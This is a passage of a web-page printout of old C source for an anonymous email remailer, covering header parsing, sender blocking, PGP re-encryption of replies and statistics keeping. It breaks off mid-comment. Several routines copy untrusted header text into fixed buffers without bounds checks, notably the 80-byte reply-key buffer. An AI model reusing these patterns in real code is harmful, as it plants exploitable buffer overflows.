http://www.instinct.org/fravia/remailer.c (3 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

#include <signal.h>
#include <time.h>
#include <sys/time.h> /* some os need this one also */
/*File io stuff:*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* arrays need to be at least 1001 long to accommodate RFC822 */


#define MAXLEN 1024

/* added stuff to fake out djgpp for testing under DOS */


#ifdef __GO32__
#define SIGCONT 99
#endif

FILE *infile;
FILE *outfile;
FILE *tempfile;
FILE *file2;
char from[MAXLEN]="";
char from_address[MAXLEN]="";
char cutmarks[MAXLEN]="";
int anon_flag=0;
int help_flag=0;
int stat_flag=0;
int pgp_flag=0;
char replykey[80]="";
char idbuf[17];
int idcount=0;
struct timeval tp;
unsigned long latime;
int blockflag;
int nospamcheck_flag=0;

/* extract name and address from From: line input */


/* ASSERT: Bounds checking not needed because main() does it */
void getfrom(char *input){
int x=0,y=0;
while(input[x]!=':'){x=x+1;}
x=x+1;
while(input[x]<=32){x=x+1;}
while(input[x]>32){
from_address[y]=input[x];
x=x+1;y=y+1;
}
from_address[y]=0;
x=0; /* look for <address> */
while(input[x]>31&&input[x]!='<'){x=x+1;}
if(input[x]=='<'){
y=0;x=x+1;
while(input[x]>32&&input[x]!='>'){
from_address[y]=input[x];
x=x+1;y=y+1;
}
from_address[y]=0;
}
}

/* block any addresses matching patterns in file */

http://www.instinct.org/fravia/remailer.c (4 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

/* returns result by zeroing address[0] */


/* crude wildcarding (*) case-insensitive matches */
/* ASSERT: Bounds checking not needed because main() does it */
void block_addr(char address[],char *file) {
char input[MAXLEN];
int match=0;
int x,y,z;
int exclude;

FILE *killfile;

chdir(DIR);
if(killfile=fopen(file,"r")){
while(fscanf(killfile,"%s",input)>0) {
if (input[0]!='#'&&input[0]>32) {
x=0;exclude=0;z=0;
if (input[0]=='!') {exclude=1;z++;}
while(address[x]!=0) {
y=0;
while ((address[x+y]|32)==(input[y+z]|32)&&input[y+z]!='*'
&&input[y+z]!=0&&address[x+y]!=0) {
y++;
}
if (input[y+z]==0) match=(1^exclude);
if (input[y+z]=='*') {z=z+y+1;x=x+y;}
else x++;
}
}
}
fclose(killfile);
}
if (match==1) address[0]=0;
}

/* find str1 in case-insensitive str2 */


/* only used to check for remailer-* strings */
int search(char str1[],char str2[]) {
int x=0;
int y=0;
int match=0;

while(str2[x]!=0) {
y=0;
while ((str2[x+y]==str1[y]||str2[x+y]==(str1[y]-32))&&str2[x+y]!=0) {
y++;
if (str1[y]==0) match=1;
}
x++;
}
return(match);
}

/* strncmp variant, case-insensitive, returns 1 for match else 0 */


/* compares first strlen(str2) characters (not sure if this is
being efficient or just inviting bugs :-) but I want to prevent
the programmer from having to count characters, and if I just
check for the first end-of-string, it invites problems like
match("S","Subject:")
*/
int match(char *source, char *pattern)
{

http://www.instinct.org/fravia/remailer.c (5 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

register char *s, *p;


s=source; p=pattern;
while (*p && ((*s++)|32)==((*p++)|32)) ;
if (*p) return 0;
return 1;
}

/* Workhorse subroutine - scans header lines for remailer-related info */


/* used to have lots of complex hand-built string compares;
replacing most with match */
/* ASSERT: Bounds checking not needed because main() does it */
void scanline(char input[],char resend_address[]) {
register int x,y,z;
int resend_flag=0;
int cutmarks_flag=0;
int post_flag=0;
int latent_plusflag;
int latent_randflag;
int latent_h;
int latent_m;
int latent_s;
int reply_check=0;

/* Pass thru Subject, Content-Type, and In-Reply-To lines */


if (match(input,"Subject:")) {
/* if the subject line is blank, drop it */
if (input[8]!=0&&input[9]!=0) fprintf(outfile,"%s",input);
/* and handle special case subjects for help and stats */
/* but prevent loops (and denial-of-service) */
if (strncmp(input+9,"Re:",3)!=0) {
if (search("remailer-stat",input)) {
latime=tp.tv_sec; /* No latency */
stat_flag=1;
}
if (search("remailer-help",input)||search("remailer-info",input) ||
search("help", input) ) {
latime=tp.tv_sec; /* No latency */
help_flag=1;
}
}
}
else if (match(input, "Content-")) {
fprintf(outfile,"%s",input);
}
else if (match(input, "In-Reply-To:")) {
fprintf(outfile,"%s",input);
}

/* Save the From: line in case non-anonymous posting is requested */


/* (only From: and not From ) */
else if (match(input, "From:")) {
getfrom(input);block_addr(from_address,BLOCKFROM);
if(from_address[0]==0) blockflag=1; /* Source block */
block_addr(input,BLOCKTO);
strcpy(from,input);
}

/* Match headers */
else if (match(input,"Request-Remailing-To:")) { resend_flag=1; anon_flag=1; }
else if (match(input,"Remail-To:")) { resend_flag=1; anon_flag=1; }

http://www.instinct.org/fravia/remailer.c (6 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

else if (match(input,"Anon-To:")) { resend_flag=1; anon_flag=1; }


else if (match(input,"Anon-Send-To:")) { resend_flag=1; anon_flag=1; }
else if (match(input,"Post-To:")) { resend_flag=1; }
/* soda.berkeley style Send-To ? */
else if (match(input,"Send-To:")) { resend_flag=1; }

#define HEADERTOOLONG 100


/* Check for PGP... I got a little sloppy here...ohwell*/
else if (match(input,"Encrypted:")) { resend_flag=0; pgp_flag=1; }
else if (match(input,"Encrypt-")) {
x=7;y=0;
while(input[x++]!=':') {if (x>HEADERTOOLONG) goto hosed;}
while(input[x]==' '||input[x]=='\t'){x=x+1;}
z=x; /* what's this z for??? */
while(input[x]>' ') {replykey[y++]=input[x++];} /* ASSERT: input[1023]=0 */
replykey[y]=0;
hosed: ;

}
else if (match(input,"Cutmarks:")||match(input,"Cutmark:")) {
cutmarks_flag=1; }

/* process input to get address */


if(resend_flag){
x=2;y=0; /* x=2 in case Extropians-style ::Header */
while(input[x]!=':'){x=x+1;}
x=x+1;
while(input[x]<=32){x=x+1;}
z=x;
if (post_flag==0) {
while(input[x]>32){
resend_address[y]=input[x];
x=x+1;y=y+1;
}
resend_address[y]=0;
x=0; /* look for <address> */
while(input[x]>31&&input[x]!='<'){x=x+1;}
if(input[x]=='<'){
y=0;x=x+1;
while(input[x]>32&&input[x]!='>'){
resend_address[y]=input[x];
x=x+1;y=y+1;
}
resend_address[y]=0;
}
/* Print out new To: line */
fprintf(outfile,"To: ");
while(input[z]>0){
fprintf(outfile,"%c",input[z]);
z=z+1;
}
block_addr(resend_address,BLOCKTO);
}
if (post_flag) {
fprintf(outfile,"Newsgroups: ");
while(input[z]>0){
fprintf(outfile,"%c",input[z]);
z=z+1;
}
resend_address[0]='p';
resend_address[1]='o';

http://www.instinct.org/fravia/remailer.c (7 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

resend_address[2]='s';
resend_address[3]='t';
resend_address[4]=0;
block_addr(input,BLOCKTO);if (input[0]==0) resend_address[0]=0;
}
}

if(cutmarks_flag){
x=0;y=0;
while(input[x]!=':'){x=x+1;}
x=x+1;
if(input[x]==32){x=x+1;}
z=x;
while(input[x]>32){
cutmarks[y]=input[x];
x=x+1;y=y+1;
}
cutmarks[y]=0;
}

if (match(input,"Latent-Time:")) {
x=12;
while (input[x]==' '||input[x]=='\t'){x++;}

latent_plusflag=0;latent_randflag=0;
latent_h=0;latent_m=0;latent_s=0;

while((input[x]<'0'||input[x]>'9')&&input[x]>=32) {
if (input[x]=='+') latent_plusflag=1;
if ((input[x]=='r')||(input[x]=='R')) latent_randflag=1;
x++;
}
while (input[x]>='0'&&input[x]<='9') {
latent_h=(latent_h*10)+(input[x]-48);
x++;
}
if(input[x]==':') {
x++;
while (input[x]>='0'&&input[x]<='9') {
latent_m=(latent_m*10)+(input[x]-48);
x++;
}
if(input[x]==':') {
x++;
while (input[x]>='0'&&input[x]<='9') {
latent_s=(latent_s*10)+(input[x]-48);
x++;
}
}
}
while(input[x]>=32) {
if (input[x]=='+') latent_plusflag=1;
if ((input[x]=='r')||(input[x]=='R')) latent_randflag=1;
x++;
}

latime=(latent_h*3600+latent_m*60+latent_s);

if(latent_plusflag==0) {
/* Not Supported - Is this really necessary? */
}

http://www.instinct.org/fravia/remailer.c (8 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

if(latent_randflag&&(latime>1)) {
/* Simple randomizer */
latime=abs((tp.tv_sec^latime)+tp.tv_usec+(getpid()*latime))%(latime+1);
}

latime+=tp.tv_sec;
}
}

char* genid() { /* Generate ascii id from process id and time with shuffle */
unsigned long int id1,id2;
int x=0;

id1=getpid()|(idcount<<16);
id2=tp.tv_sec;
idcount++;

for(x=32;x--;){
id1+=1234567890;
id1^=0xABCDEF12;
id1=(id1<<1)|(id1>>31);
id2^=id1;
id2+=0x12345678;
id2^=0x9ABCDEF0;
id2=(id2<<31)|(id2>>1);
id1^=id2;
}
for(x=0;x<8;x++) {
idbuf[x]=65+(id1&15);
id1=id1>>4;
}
for(x=8;x<16;x++) {
idbuf[x]=65+(id2&15);
id2=id2>>4;
}
idbuf[16]=0;
return(idbuf);
}

/* Re-encrypt messages for use with reply-blocks */


void reencrypt(){
char input[MAXLEN];
int pipefd[2];
int pipe2fd[2];

input[MAXLEN-1]=0;
pipe(pipefd);
pipe(pipe2fd);
if(!fork()) {
dup2(pipefd[0],0);
dup2(pipe2fd[1],1);
close(pipefd[1]);
close(pipe2fd[0]);
chdir(DIR);
execl(PGP,"pgp","-fcta","+BATCHMODE","+ARMORLINES=0","-z",replykey,(char
*)0);
}
close(pipefd[0]);close(pipe2fd[1]);
file2=fdopen(pipefd[1],"w");
while(fgets(input,MAXLEN-1,infile)) {

http://www.instinct.org/fravia/remailer.c (9 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

fprintf(file2,"%s",input);
}
fclose(file2);
file2=fdopen(pipe2fd[0],"r");
while(fgets(input,MAXLEN-1,file2)) {
fprintf(outfile,"%s",input);
}
fclose(file2);
}

void updatestats(int inccnt,int incpgp,int inclat,int incpost) {


int m[24];
int ccm=0;
int p[24];
int ccpgp=0;
int l[24];
int ccl=0;
int u[24];
int ccnews=0;
char month[24][5];
int date[24];
int hour=0;
int currenthour;
FILE *datafile;
int x;
int y;
struct tm *timestr;

timestr=localtime(&(tp.tv_sec));

if(datafile=fopen(STATSDATA,"r")){
fscanf(datafile,"%d",&hour);
fscanf(datafile,"%d %d %d %d",&ccm,&ccpgp,&ccl,&ccnews);
for(x=0;x<24;x++) {
fscanf(datafile,"%s %d %d %d %d %d",
month[x],&date[x],&m[x],&p[x],&l[x],&u[x]); }
fclose(datafile);
}else{
for(x=0;x<24;x++) {
strcpy(month[x],"---");
date[x]=0;m[x]=0;p[x]=0;l[x]=0;u[x]=0;
}
}
currenthour=(*timestr).tm_hour;
x=hour%24;
while (x!=currenthour) {
if (x>0) {
strcpy(month[x],month[x-1]);
date[x]=date[x-1];
}else{
if((*timestr).tm_mon==0) strcpy(month[0],"Jan");
if((*timestr).tm_mon==1) strcpy(month[0],"Feb");
if((*timestr).tm_mon==2) strcpy(month[0],"Mar");
if((*timestr).tm_mon==3) strcpy(month[0],"Apr");
if((*timestr).tm_mon==4) strcpy(month[0],"May");
if((*timestr).tm_mon==5) strcpy(month[0],"Jun");
if((*timestr).tm_mon==6) strcpy(month[0],"Jul");
if((*timestr).tm_mon==7) strcpy(month[0],"Aug");
if((*timestr).tm_mon==8) strcpy(month[0],"Sep");
if((*timestr).tm_mon==9) strcpy(month[0],"Oct");
if((*timestr).tm_mon==10) strcpy(month[0],"Nov");

http://www.instinct.org/fravia/remailer.c (10 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

if((*timestr).tm_mon==11) strcpy(month[0],"Dec");
date[0]=(*timestr).tm_mday;
}
m[x]=0;
p[x]=0;
l[x]=0;
u[x]=0;
x++;if (x>23) x=0;
}

if (hour!=currenthour) {
m[hour]=ccm;
p[hour]=ccpgp;
l[hour]=ccl;
u[hour]=ccnews;
ccm=0;
ccpgp=0;
ccl=0;
ccnews=0;
}

ccm+=inccnt;
ccpgp+=incpgp;
ccl+=inclat;
ccnews+=incpost;

if(datafile=fopen(STATSDATA,"w")){
fprintf(datafile,"%d\n",currenthour);
fprintf(datafile,"%d %d %d %d\n",ccm,ccpgp,ccl,ccnews);
for(x=0;x<24;x++) {
fprintf(datafile,"%s %d %d %d %d %d\n",
month[x],date[x],m[x],p[x],l[x],u[x]);
}
fclose(datafile);
} else fprintf(stderr,"remailer: can't write file %s\n",STATSDATA);
}

void viewstats() {
int m[24];
int ccm;
int p[24];
int ccpgp;
int l[24];
int ccl;
int u[24];
int ccnews;
char month[24][5];
int date[24];
int hour;
int currenthour;
FILE *datafile;
int x;
int y;
char buffer[1024];

datafile=fopen(STATSDATA,"r");

fscanf(datafile,"%d",&hour);
fscanf(datafile,"%d %d %d %d",&ccm,&ccpgp,&ccl,&ccnews);
for(x=0;x<24;x++) {
fscanf(datafile,"%s %d %d %d %d %d",

http://www.instinct.org/fravia/remailer.c (11 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

month[x],&date[x],&m[x],&p[x],&l[x],&u[x]); }
fclose(datafile);

fprintf(outfile,"Subject: Re: Remailer Statistics\n");


/* Note - don

You might also like